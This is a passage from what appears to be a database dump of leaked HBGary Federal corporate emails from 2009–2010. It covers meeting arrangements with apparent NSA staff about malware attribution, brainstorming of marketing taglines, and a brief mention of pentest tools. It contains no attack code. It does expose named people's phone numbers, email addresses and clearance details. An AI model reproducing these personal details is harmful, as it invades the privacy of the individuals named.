Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, March 31, 2010 10:49 AM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> I have an Issa ts/sci/g/h.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Mar 31, 2010, at 10:38 AM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>\r\n>> Do you have a clearance?\r\n>>\r\n>> If so, what level?\r\n>>\r\n>> Matt\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, March 31, 2010 7:53 AM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Thanks Matt.\r\n>>\r\n>> A visit request please.\r\n>>\r\n>> See you on the 19th.  Tentatively I just blocked out the day, just \r\n>> let\r\n>\r\n>> me know a time that works best that day.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Mar 31, 2010, at 7:47 AM, Bodman, Jerry M wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Thank you for your time this morning.\r\n>>>\r\n>>> Per our discussion, I would like to try to meet with you on the 19th\r\n\r\n>>> of April.\r\n>>>\r\n>>> Do you have a badge or do I need to put in a visitor request for \r\n>>> you?\r\n>>>\r\n>>> Matt\r\n>>> 410 854 6761\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Friday, March 26, 2010 1:04 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Hi Matt,\r\n>>>\r\n>>> Still want to get together next week?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n>>>\r\n>>>> Yes please.\r\n>>>>\r\n>>>> How about the last week in March?\r\n>>>>\r\n>>>> Matt\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Tuesday, March 16, 2010 10:56 PM\r\n>>>> To: Bodman, Jerry M\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>\r\n>>>> Hi Matt,\r\n>>>>\r\n>>>> Would you still like us to come up and discuss DDNA and some of our\r\n\r\n>>>> other capabilities?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n>>>>\r\n>>>>> Next week is pretty booked at this point.\r\n>>>>>\r\n>>>>> How about the first week of march (other than 1 March)?\r\n>>>>>\r\n>>>>> Afternoons are good at this point.\r\n>>>>>\r\n>>>>> Matt\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>>>>> To: Bodman, Jerry M\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>\r\n>>>>> How about next Thursday?\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n>>>> wrote:\r\n>>>>>\r\n>>>>>> What dates/times are good for you?\r\n>>>>>>\r\n>>>>>> Matt\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>>>>> To: Bodman, Jerry M\r\n>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>\r\n>>>>>> Yes we can come up.  When are some good dates?\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> From my iPhone\r\n>>>>>>\r\n>>>>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>>>>> wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> I am interested.\r\n>>>>>>>\r\n>>>>>>> What is the best way to meet?\r\n>>>>>>>\r\n>>>>>>> Can you come here?\r\n>>>>>>>\r\n>>>>>>> Is this related to Responder Pro?\r\n>>>>>>>\r\n>>>>>>> Matt\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Dave/Barry/Matt,\r\n>>>>>>>\r\n>>>>>>> I am very interested to discuss our different efforts/ \r\n>>>>>>> capabilities\r\n>>\r\n>>>>>>> related to malware genomes/catalogs.  Please let me know when \r\n>>>>>>> convenient to get together.\r\n>>>>>>>\r\n>>>>>>> Thank you,\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>>\r\n>>>>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>>>>>\r\n>>>>>>>> Ralph,\r\n>>>>>>>>\r\n>>>>>>>> Thanks for reminding me about this one.\r\n>>>>>>>>\r\n>>>>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>>>>>\r\n>>>>>>>> Vergle\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>>>>>> Parkes;\r\n>>>>>>>\r\n>>>>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Vergle,\r\n>>>>>>>> Reminder of the thread below, and your awareness of the efforts\r\n\r\n>>>>>>>> of\r\n>>>>>>> Aaron\r\n>>>>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>>>>> Have\r\n>>>>>>>> not seen any response since this was raised in early December.\r\n>>>>>>>>\r\n>>>>>>>> Also, pls see recent news article below:\r\n>>>>>>>>\r\n>>>>>>>> \'Cyber Genome Project\': The military scientists want to \r\n>>>>>>>> establish\r\n>>\r\n>>>>>>>> a\r\n>>>>\r\n>>>>>>>> \"Cyber Genome\" project which will allow any digital artifact\r\n>>>>>>>> - a\r\n>\r\n>>>>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>>>>> According to an announcement put out yesterday by DARPA, the \r\n>>>>>>>> \"Cyber\r\n>>>>\r\n>>>>>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>>>>>> investigatory technologies\".\r\n>>>>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>>>>> cyber_genome_project/\r\n>>>>>>>>\r\n>>>>>>>> VR,\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>>>>> To: Gipson, Vergle\r\n>>>>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Vergle:\r\n>>>>>>>> I mentioned this fellow to you awhile back and emailed you all \r\n>>>>>>>> in\r\n>>>>>>>> V2\r\n>>>>>\r\n>>>>>>>> as to possible interest in engaging him to learn of his efforts\r\n\r\n>>>>>>>> (which\r\n>>>>>>>\r\n>>>>>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>>>>>> Malicious\r\n>>>>>>>\r\n>>>>>>>> Code Catalog efforts).\r\n>>>>>>>>\r\n>>>>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said \r\n>>>>>>>> he\r\n>>\r\n>>>>>>>> was\r\n>>>>>>\r\n>>>>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>>>>> To: Ghent, Ralph\r\n>>>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Hi Ralph,\r\n>>>>>>>>\r\n>>>>>>>> Happy New Year.\r\n>>>>>>>>\r\n>>>>>>>> I am still very interested to talk to folks there about the \r\n>>>>>>>> Malicious\r\n>>>>>>\r\n>>>>>>>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n\r\n>>>>>>>> interest on that side.  As I mentioned we have recently \r\n>>>>>>>> partnered\r\n>>\r\n>>>>>>>> with\r\n>>>>>>>\r\n>>>>>>>> Palantir and are working on a partnership with Netwitness and \r\n>>>>>>>> maybe\r\n>>>>>>>> 1\r\n>>>>>>\r\n>>>>>>>> or 2 other small vendors with complimentary technology.  I \r\n>>>>>>>> think\r\n>\r\n>>>>>>>> something really substantial can be put together.\r\n>>>>>>>>\r\n>>>>>>>> Aaron\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>>>>>\r\n>>>>>>>>> Aaron,\r\n>>>>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>>>>> Respectfully,\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> Ralph Ghent\r\n>>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>>\r\n>>>>>>>>> -----Original Message-----\r\n>>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>>>>> To: \'Aaron Barr\'\r\n>>>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>>>\r\n>>>>>>>>> Aaron,\r\n>>>>>>>>> Many thanks for the additional info and the opportunity to \r\n>>>>>>>>> chat\r\n>\r\n>>>>>>>>> briefly at Leesburg.\r\n>>>>>>>>>\r\n>>>>>>>>> I have pushed your info to those within my Agency who are \r\n>>>>>>>>> working\r\n>>>\r\n>>>>>>>>> with\r\n>>>>>>>>\r\n>>>>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this \r\n>>>>>>>>> time\r\n>>\r\n>>>>>>>>> next\r\n>>>>>>>\r\n>>>>>>>>> week, no one has reached-out to you, pls email me again and I \r\n>>>>>>>>> will\r\n>>>>\r\n>>>>>>>>> follow up with them.\r\n>>>>>>>>>\r\n>>>>>>>>> Sincerely,\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> Ralph Ghent\r\n>>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>>\r\n>>>>>>>>> -----Original Message-----\r\n>>>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>>>>> To: Ghent, Ralph\r\n>>>>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>>>>>\r\n>>>>>>>>> Ralph,\r\n>>>>>>>>>\r\n>>>>>>>>> Thank you for stepping in and asking about my discussion about\r\n\r\n>>>>>>>>> Malware\r\n>>>>>>>>\r\n>>>>>>>>> detection, genomes, and attribution.  I am very new to my \r\n>>>>>>>>> current\r\n>>>\r\n>>>>>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>>>>>> Technical\r\n>>>>>>\r\n>>>>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and\r\n\r\n>>>>>>>>> the\r\n>>>>\r\n>>>>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 \r\n>>>>>>>>> weeks\r\n>>\r\n>>>>>>>>> ago\r\n>>>>>>\r\n>>>>>>>>> if we can make headway against attribution I would have said \r\n>>>>>>>>> no,\r\n>>\r\n>>>>>>>>> not\r\n>>>>>>\r\n>>>>>>>>> until we have better situational awareness, network \r\n>>>>>>>>> characterization,\r\n>>>>>>>\r\n>>>>>>>>> CND/CNE integration, etc.\r\n>>>>>>>>>\r\n>>>>>>>>> Then I started to learn about HBGarys Malware Genome database,\r\n\r\n>>>>>>>>> where\r\n>>>>>>\r\n>>>>>>>>> they have characterized 3500 traits of malware to date, and \r\n>>>>>>>>> are\r\n>\r\n>>>>>>>>> starting to make associations of authorship across malware.  I\r\n\r\n>>>>>>>>> immediately thought of Palantirs capability to link analysis \r\n>>>>>>>>> and\r\n>>\r\n>>>>>>>>> had\r\n>>>>>>>> an aha moment.\r\n>>>>>>>>> But I knew that other capabilities needed to be added if we \r\n>>>>>>>>> were\r\n>>\r\n>>>>>>>>> seriously going to take a crack at attribution.\r\n>>>>>>>>>\r\n>>>>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts \r\n>>>>>>>>> here.\r\n>>\r\n>>>>>>>>> I\r\n>>>>\r\n>>>>>>>>> would love to talk with them and combine efforts if \r\n>>>>>>>>> appropriate\r\n>\r\n>>>>>>>>> to\r\n>>>>\r\n>>>>>>>>> develop the capability that is needed to help with this\r\n>>> challenge.\r\n>>>>>>>>>\r\n>>>>>>>>> Thank You,\r\n>>>>>>>>> Aaron Barr\r\n>>>>>>>>> CEO\r\n>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>> 301.652.8885 x117\r\n>>>>>>>>> 719.510.8478\r\n>>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n',16066,'aaron_hbgary_com/16066.html'),(5153,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003786.M132888P14101Q8.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Some New Taglines from Greg','Some thoughts on Branding.Vision:Proactive Defense for Advanced Threats.Advanced Threat DetectionEnterprise Threat DetectionAdvanced Threat Detection and Risk ManagementEnterprise Threat Detection and Risk ManagementTaglines:When being compliant is just the starting point.When being compliant isn\'t good enoughIts 12am, do you know whats hiding in your memory?Bringing malware analysis to Net DefenseDetecting tomorrows threats today. (shawn)Detection that evolves as quickly as the threat.Words to use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk Management, Mission Assurance, Assured Security, Threat DetectionMy 2 cents is you need a single vision but maybe slightly tailored to different audiences.First what is the Vision.Second what are your markets.Third, what are their hotbuttons in each market (compliance, intelligence, mission assurance)Fourth, messaging per environment based on 1-3.Vision:Markets:Federal:State/Local:Commercial: (maybe want to break these out further banking, etc) but that might also dilute your messaging.Hotbuttons:Federal: Intelligence, Mission Assurance, Combating APT, CIP, protection of sensitive/classified information.State/Local: Cost/Compliance,Commercial: Risk/Compliance, IPI think usecases or summaries of how HBGary products could be used effectively in each market segment would be helpful for people to grasp the significance quickly.1. How can HBGary be used to combat APT better than anyone else. &nbsp;How to we protect the mission, provide net defense capability.2. &nbsp;How does HBGary benefit compliance, IP protection, risk mitigation. &nbsp;how does it save them money.Might want to illustrate our benefit with partner integration, foundstone, verdasys, fidelis, etc.AaronOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:How this?&nbsp;Combat Global Cyber Threats&nbsp;“combat” is both offense and defense.&nbsp; Implies an&nbsp; ongoing battle.&nbsp; Works for both gov’t and private sector.&nbsp;&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Sunday, April 11, 2010 2:34 PMTo:&nbsp;all@hbgary.com; Karen BurkeSubject:&nbsp;Some New Taglines from Greg&nbsp;&nbsp;Team,Here are some taglines I just cooked up.&nbsp;#1. Assured Cyber Defense against Global Threats&nbsp;- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;- \"Global Threat\" is a big-boy way to say APT.- \"Defense\" implies that we have an Enteprise product- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing- kind of wordy&nbsp;#2. Assured Defense against Global Cyber Threats&nbsp;- \"Assured Defense\" means we can deliver where IDS and AV fails- \"Assured Defense\" implies enterprise product- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing- \"Global Cyber Threats\" is not as strong as \"Global Threats\" with respect to APT- \"Global Cyber Threats\" can mean Russian bank-info stealing malware, where \"Global Threats\" implies governments and hostile organizations&nbsp;#3. Assured Cyber Defense&nbsp;- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;- Using the word Defense implies Threat.&nbsp;&nbsp;So, these two words are interchangable.&nbsp;#4. Assurance against Global Cyber Threats&nbsp;-&nbsp;\"Assurance\" implies more of an ongoing&nbsp;partnership, as opposed to a product-focus- doesn\'t come off as wordy, lets us get the big-boy version of APT in- doesn\'t have the \"we are a product company\" punch&nbsp;#4. Cyber Threat Protection&nbsp;-&nbsp; Using the word Protection requires additional clarifying words.&nbsp;&nbsp;Hence, \"Cyber Threat\"- \"Protection\" absolutely implies product, but not neccesarily enteprise product- \"Protection\" can easily be confused with consumer grade protection &amp; AV&nbsp;#5. Cyber Threat Defense&nbsp;- Very broad scope, accurate for everything we do- \"Defense\" implies enterprise product, but could also mean incident response services- \"Cyber Threat\" is not a strong APT equivalent, and could mean viruses and banking malware- \"Cyber Threat\" is not strong like \"Global Cyber Threat\" or \"Global Threat\"&nbsp;#6. Cyber Threat Defense for the Enterprise&nbsp;- \"for the Enterprise\" brings home the point that we offer an Enterprise product&nbsp;Some variations of the above:&nbsp;Assured Cyber Threat ProtectionAssured Cyber Threat DefenseCyber Assurance in a Hostile WorldAssured Defense in&nbsp;Hostile Cyberspace&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 02:32:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6081,'aaron_hbgary_com/6081.html'),(5154,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003786.M343502P14101Q9.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: pentest tools','yeah. &nbsp;We tried that.I think there are a few top companies that are salivating to get into the mobile market in a big way but don\'t know how to replicate what foursquare, gowalla, and loopt did. &nbsp;I use all these programs and they all lack relevance (surprise) and will wane in popularity because they don\'t provide anything tangible. &nbsp;I think now more than before the market is on the bring of figuring out the advertising angle...but surprisingly no one has yet. &nbsp;We are going to loose it, I think going to one of these companies and making a pitch with an NDA in place might be worth a shot? &nbsp;Honest opinion?AaronOn Apr 10, 2010, at 11:53 AM, Mark Trynor wrote:\r\n\r\nWhat if we just go take the money these idiots don\'t want :\r\nhttp://valleywag.gawker.com/5511623/the-arrogance-of-turning-down-100-million\r\n\r\nTed Vera wrote:\r\n&gt;\r\nhttp://www.immunityinc.com/products-bundle.shtml\r\n&gt;\r\n&gt; Pen Testing Bundle\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13821,'aaron_hbgary_com/13821.html'),(5155,'2010-04-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003786.M788305P14101Q10.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Some New Taglines from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s remember that we are far more than just detection.&nbsp; The\r\nmessaging needs to be inclusive of our incident response and reverse\r\nengineering as these are important components that come after detection to\r\ncombat threats.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 8:41 AM\r\nTo: Bob Slapnik; Greg Hoglund; Penny Leavy; Rich Cummings\r\nCc: Karen Burke\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSome thoughts on Branding.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTaglines:\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant isn\'t good enough\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWords to use: Proactive Detection, Dynamic Detection,\r\nProactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk\r\nManagement, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly\r\ntailored to different audiences.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFirst what is the Vision.\r\n\r\n\r\n\r\n\r\n\r\nSecond what are your markets.\r\n\r\n\r\n\r\n\r\n\r\nThird, what are their hotbuttons in each market (compliance,\r\nintelligence, mission assurance)\r\n\r\n\r\n\r\n\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMarkets:\r\n\r\n\r\n\r\n\r\n\r\nFederal:\r\n\r\n\r\n\r\n\r\n\r\nState/Local:\r\n\r\n\r\n\r\n\r\n\r\nCommercial: (maybe want to break these out further banking,\r\netc) but that might also dilute your messaging.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHotbuttons:\r\n\r\n\r\n\r\n\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT,\r\nCIP, protection of sensitive/classified information.\r\n\r\n\r\n\r\n\r\n\r\nState/Local: Cost/Compliance,\r\n\r\n\r\n\r\n\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think usecases or summaries of how HBGary products could\r\nbe used effectively in each market segment would be helpful for people to grasp\r\nthe significance quickly.\r\n\r\n\r\n\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone\r\nelse. &nbsp;How to we protect the mission, provide net defense capability.\r\n\r\n\r\n\r\n\r\n\r\n2. &nbsp;How does HBGary benefit compliance, IP protection,\r\nrisk mitigation. &nbsp;how does it save them money.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMight want to illustrate our benefit with partner\r\nintegration, foundstone, verdasys, fidelis, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&#8220;combat&#8221; is both offense and defense.&nbsp; Implies an&nbsp;\r\nongoing battle.&nbsp; Works for both gov&#8217;t and private sector.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund\r\n[mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 11,\r\n2010 2:34 PM\r\nTo:&nbsp;all@hbgary.com; Karen Burke\r\nSubject:&nbsp;Some New Taglines\r\nfrom Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise\r\nproduct\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS\r\nand AV fails\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as\r\n&quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian\r\nbank-info stealing malware, where &quot;Global Threats&quot; implies\r\ngovernments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So,\r\nthese two words are 